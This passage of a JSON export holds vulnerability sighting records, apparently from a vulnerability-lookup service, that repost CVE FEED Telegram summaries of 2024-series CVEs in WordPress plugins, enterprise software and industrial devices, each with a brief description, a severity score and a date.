\"Detection Date\": \"19 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T12:08:29.000000Z"}, {"uuid": "02493878-6fc0-4147-9b2e-28544a3dffd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12137", "type": "seen", "source": "https://t.me/cvedetector/20629", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12137 - Elfatek Elektronics ANKA JPD-00028 Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12137 \nPublished : March 19, 2025, 9:15 a.m. | 1\u00a0hour, 51\u00a0minutes ago \nDescription : Authentication Bypass by Capture-replay vulnerability in Elfatek Elektronics ANKA JPD-00028 allows Session Hijacking.This issue affects ANKA JPD-00028: through 19.03.2025.  \n  \n  \nNOTE: The vendor did not inform about the completion of the fixing process within the specified time. The CVE will be updated when new information becomes available. \nSeverity: 7.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T12:08:27.000000Z"}, {"uuid": "007e9962-6bf4-4c0d-bf9c-77320d181fd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12295", "type": "seen", "source": "https://t.me/cvedetector/20626", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12295 - BoomBox Theme Extensions WordPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12295 \nPublished : March 19, 2025, 5:15 a.m. | 1\u00a0hour, 39\u00a0minutes ago \nDescription : The BoomBox Theme Extensions plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.8.0. This is due to the plugin not properly validating a user's identity prior to updating their password through the 'boombox_ajax_reset_password' function. This makes it possible for authenticated attackers, with subscriber-level privileges and above, to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T07:57:42.000000Z"}, {"uuid": "991d1a7d-4223-4b9b-bf28-3e45963644db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12563", "type": "seen", "source": "https://t.me/cvedetector/20611", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12563 - WordPress s2Member Pro Local File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12563 \nPublished : March 18, 2025, 9:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : The s2Member Pro plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 250214 via the 'template' attribute. This makes it possible for authenticated attackers, with contributor-level and above permissions, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T00:26:16.000000Z"}, {"uuid": "097be075-43f6-41fd-83dc-2fa57119edc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12992", "type": "seen", "source": "https://t.me/cvedetector/20450", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12992 - Pandora FMS OS Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12992 \nPublished : March 17, 2025, 10:15 a.m. | 1\u00a0hour, 23\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in a Command vulnerability allows OS Command Injection via RCE.   \n  \nThis issue affects Pandora FMS from 700 to 777.6  \n  \n. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-17T13:17:00.000000Z"}, {"uuid": "df8588b9-d09b-4142-a456-5d0e0f281b0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12119", "type": "seen", "source": "Telegram/MXQZagIS9OnBFo4i9lg3Xai5eXW-ccasASAKldM9p2SWjPt6", "content": "", "creation_timestamp": "2025-03-08T16:29:00.000000Z"}, {"uuid": "9d462110-3d1f-4f4e-9aa0-32a6af9d60ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12336", "type": "seen", "source": "https://t.me/cvedetector/20359", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12336 - WordPress WC Affiliate - Unauthenticated Data Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12336 \nPublished : March 15, 2025, 4:15 a.m. | 1\u00a0hour, 35\u00a0minutes ago \nDescription : The WC Affiliate \u2013 A Complete WooCommerce Affiliate Plugin plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'export_all_data' function in all versions up to, and including, 2.5.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to expose sensitive affiliate data, including personally identifiable information (PII). \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-15T06:55:50.000000Z"}, {"uuid": "2f4d7809-788e-4998-80d9-8d8559db4850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12245", "type": "seen", "source": "https://t.me/cvedetector/20341", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12245 - Apache Struts Blind SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12245 \nPublished : March 14, 2025, 6:15 p.m. | 1\u00a0hour, 22\u00a0minutes ago \nDescription : Logout functionality contains a blind SQL injection that can be exploited by unauthenticated attackers.\u00a0Using a time-based blind SQLi technique the attacker can disclose all database contents. Account takeover is a potential outcome depending on the presence or lack thereof entries in certain database tables. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-14T20:53:52.000000Z"}, {"uuid": "c70c5c7e-541b-4b27-864d-42f5ad2379fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12019", "type": "seen", "source": "https://t.me/cvedetector/20340", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12019 - Adobe Document Server Local File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12019 \nPublished : March 14, 2025, 6:15 p.m. | 1\u00a0hour, 22\u00a0minutes ago \nDescription : The API used to interact with documents in the application contains a flaw that allows an authenticated attacker to read the contents of files on the underlying operating system. An account with \u2018read\u2019 and \u2018download\u2019 privileges on at least one existing document in the application is required to exploit the vulnerability.\u00a0Exploitation of this vulnerability would allow an attacker to read the contents of any file available within the privileges of the system user running the application. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-14T20:53:51.000000Z"}, {"uuid": "790576ab-cefa-44c4-82b7-91598e7f1126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12020", "type": "seen", "source": "https://t.me/cvedetector/20338", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12020 - LogicalDOC Enterprise Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12020 \nPublished : March 14, 2025, 6:15 p.m. | 1\u00a0hour, 22\u00a0minutes ago \nDescription : There is a reflected cross-site scripting (XSS) within JSP files used to control application appearance. An unauthenticated attacker could deceive a user into clicking a crafted link to trigger the vulnerability.\u00a0Stealing the session cookie is not possible due to cookie security flags, however the XSS may be used to induce a victim to perform on-site requests without their knowledge.  \n  \nThis vulnerability only affects LogicalDOC Enterprise. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-14T20:53:50.000000Z"}, {"uuid": "a685993b-d0df-423f-9d16-889cf58c7832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12114", "type": "seen", "source": "Telegram/kaNleqMgU56cumemK-4CcRekin1DWBZNtSih4DQiBVp8gs2l", "content": "", "creation_timestamp": "2025-03-08T16:29:00.000000Z"}, {"uuid": "92e05e65-964f-4182-8cce-f465aa118581", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12810", "type": "seen", "source": "https://t.me/cvedetector/20288", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12810 - The JobCareer | Job Board Responsive WordPress Theme Unauthenticated Remote Code Execution and Data Manipulation\", \n  \"Content\": \"CVE ID : CVE-2024-12810 \nPublished : March 14, 2025, 12:15 p.m. | 1\u00a0hour, 11\u00a0minutes ago \nDescription : The JobCareer | Job Board Responsive WordPress Theme theme for WordPress is vulnerable to unauthorized access, modification, and loss of data due to a missing capability checks on multiple functions in all versions up to, and including, 7.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files, generate backups, restore backups, update theme options, and reset theme options to default settings. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-14T15:02:11.000000Z"}, {"uuid": "eedac3fd-e42e-4437-9379-18e912275a2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12460", "type": "seen", "source": "Telegram/bzKCkVT6B2c3zAFjrqBZYZCDP-8q5zphN6tx5SkBW1Ph-VDU", "content": "", "creation_timestamp": "2025-03-08T04:37:51.000000Z"}, {"uuid": "38e82d9f-1cf5-4867-97bd-648524832186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12683", "type": "seen", "source": "https://t.me/cvedetector/21151", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12683 - WordPress Smart Maintenance Mode Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12683 \nPublished : March 26, 2025, 6:15 a.m. | 2\u00a0hours, 17\u00a0minutes ago \nDescription : The Smart Maintenance Mode WordPress plugin before 1.5.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-26T09:42:18.000000Z"}, {"uuid": "6269aa0a-72ec-4590-97d1-0c690ea59535", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12169", "type": "seen", "source": "https://t.me/cvedetector/21093", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12169 - \"Cybersecure RTU500 CMU Restart Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12169 \nPublished : March 25, 2025, 1:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability exists in RTU500 IEC 60870-5-104 controlled station functionality and IEC 61850 functionality, that allows an attacker performing a specific attack sequence to restart the affected CMU. This vulnerability only applies, if secure communication using IEC 62351-3 (TLS) is enabled. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-25T15:18:48.000000Z"}, {"uuid": "8530320e-a241-4392-add6-79a4057bb020", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12773", "type": "seen", "source": "https://t.me/cvedetector/16442", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12773 - Altra Side Menu WordPress SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12773 \nPublished : Jan. 27, 2025, 6:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : The Altra Side Menu WordPress plugin through 2.0 does not sanitize and escape a parameter before using it in a SQL statement, allowing admins to perform SQL injection attacks \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T10:08:24.000000Z"}, {"uuid": "b78eff27-0e88-40ac-98e5-81d659c3e81b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12623", "type": "seen", "source": "https://t.me/cvedetector/21057", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12623 - WordPress DICOM Support Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12623 \nPublished : March 25, 2025, 7:15 a.m. | 32\u00a0minutes ago \nDescription : The DICOM Support plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'dcm' shortcode in all versions up to, and including, 0.10.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-25T09:27:33.000000Z"}, {"uuid": "2538c4ae-88cc-46c1-b79f-2b27ac39f16e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12436", "type": "seen", "source": "https://t.me/cvedetector/16441", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12436 - WordPress Customer Area CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12436 \nPublished : Jan. 27, 2025, 6:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : The WP Customer Area WordPress plugin through 8.2.4 does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T10:08:23.000000Z"}, {"uuid": "d4015de3-8eb6-4567-9b02-2d57903baaef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12211", "type": "seen", "source": "https://t.me/cvedetector/15161", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12211 - Pega Platform Stored Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12211 \nPublished : Jan. 13, 2025, 5:15 p.m. | 20\u00a0minutes ago \nDescription : Pega Platform versions 8.1 to Infinity 24.2.0 are affected by an Stored XSS issue with profile. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-13T18:45:02.000000Z"}, {"uuid": "c3a84d4e-4aa5-4013-86b0-8445c335a039", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12816", "type": "seen", "source": "https://t.me/cvedetector/16375", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12816 - WordPress NOTICE BOARD BY TOWKIR Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12816 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The NOTICE BOARD BY TOWKIR plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'notice-board' shortcode in all versions up to, and including, 3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:28:53.000000Z"}, {"uuid": "51216f58-0be3-4a17-9ddc-8b3c79d1bd20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12826", "type": "seen", "source": "https://t.me/cvedetector/16371", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12826 - GoHero Store Customizer for WooCommerce Unauthenticated Data Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12826 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The GoHero Store Customizer for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wooh_action_settings_save_frontend() function in all versions up to, and including, 3.5. This makes it possible for unauthenticated attackers to update limited plugin settings. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:28:47.000000Z"}, {"uuid": "d6938ac4-04ef-407d-97a8-ebd50607e491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12740", "type": "seen", "source": "https://t.me/cvedetector/16496", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12740 - NI Vision Arbitrary Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12740 \nPublished : Jan. 27, 2025, 6:15 p.m. | 22\u00a0minutes ago \nDescription : Vision related software from NI used a third-party library for image processing that exposes several vulnerabilities.  These vulnerabilities may result in arbitrary code execution.  Successful exploitation requires an attacker to get a user to open a specially crafted file. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T20:11:30.000000Z"}, {"uuid": "409c2f40-38d0-4ec2-8d9c-fea56f464bf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12016", "type": "seen", "source": "https://t.me/cvedetector/20704", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12016 - CM Informatics CM News SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12016 \nPublished : March 20, 2025, 8:15 a.m. | 1\u00a0hour, 35\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in CM Informatics CM News allows SQL Injection.This issue affects CM News: through 6.0.  \n  \n  \n  \n  \n  \nNOTE: The vendor was contacted and it was learned that the product is not supported. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-20T11:32:44.000000Z"}, {"uuid": "7f8a38da-24e7-4463-821f-00ee95d047a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12920", "type": "seen", "source": "https://t.me/cvedetector/20638", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12920 - FoodBakery | Delivery Restaurant Directory WordPress Theme Unauthenticated Data Access and Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12920 \nPublished : March 19, 2025, 12:15 p.m. | 53\u00a0minutes ago \nDescription : The FoodBakery | Delivery Restaurant Directory WordPress Theme theme for WordPress is vulnerable to unauthorized access of data and modification of data due to a missing capability check on the foodbakery_var_backup_file_delete, foodbakery_widget_file_delete, theme_option_save, export_widget_settings, ajax_import_widget_data, foodbakery_var_settings_backup_generate, foodbakery_var_backup_file_restore, and theme_option_rest_all functions in all versions up to, and including, 4.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files, update theme options, export widget options, import widget options, generate backups, restore backups, and reset theme options. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T14:38:52.000000Z"}, {"uuid": "fc96d9bc-214a-4255-a767-1210b4dab41b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12529", "type": "seen", "source": "https://t.me/cvedetector/16381", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12529 - Brodos.net Onlineshop Plugin Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12529 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The brodos.net Onlineshop Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'BrodosCategory' shortcode in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:29:00.000000Z"}, {"uuid": "e12d5027-af66-4782-bfbd-b5530b27f92c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12512", "type": "seen", "source": "https://t.me/cvedetector/16380", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12512 - WordPress asks me something - Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12512 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The Ask Me Anything (Anonymously) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'askmeanythingpeople' shortcode in all versions up to, and including, 1.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:29:00.000000Z"}, {"uuid": "da933382-eb28-4ea0-a7c7-0a40a8770182", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12113", "type": "seen", "source": "https://t.me/cvedetector/16379", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12113 - Youzify BuddyPress Review Deletion Arbitrary Update\", \n  \"Content\": \"CVE ID : CVE-2024-12113 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The Youzify \u2013 BuddyPress Community, User Profile, Social Network & Membership Plugin for WordPress plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the delete_user_review() and delete_review() functions in all versions up to, and including, 1.3.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete other user's reviews. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:28:59.000000Z"}, {"uuid": "6f26adb0-7d4e-41d6-90a5-33368a0bbb69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12144", "type": "seen", "source": "https://t.me/cvedetector/19711", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12144 - Finder Fire Safety Finder ERP/CRM SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12144 \nPublished : March 6, 2025, 2:15 p.m. | 1\u00a0hour, 52\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Finder Fire Safety Finder ERP/CRM (Old System) allows SQL Injection.This issue affects Finder ERP/CRM (Old System): before 18.12.2024. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-06T17:11:04.000000Z"}, {"uuid": "24437656-e919-4358-ba48-aa1f0ecb70f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12146", "type": "seen", "source": "https://t.me/cvedetector/19708", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12146 - Finder Fire Safety Finder ERP/CRM SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12146 \nPublished : March 6, 2025, 3:15 p.m. | 53\u00a0minutes ago \nDescription : Improper Validation of Syntactic Correctness of Input vulnerability in Finder Fire Safety Finder ERP/CRM (New System) allows SQL 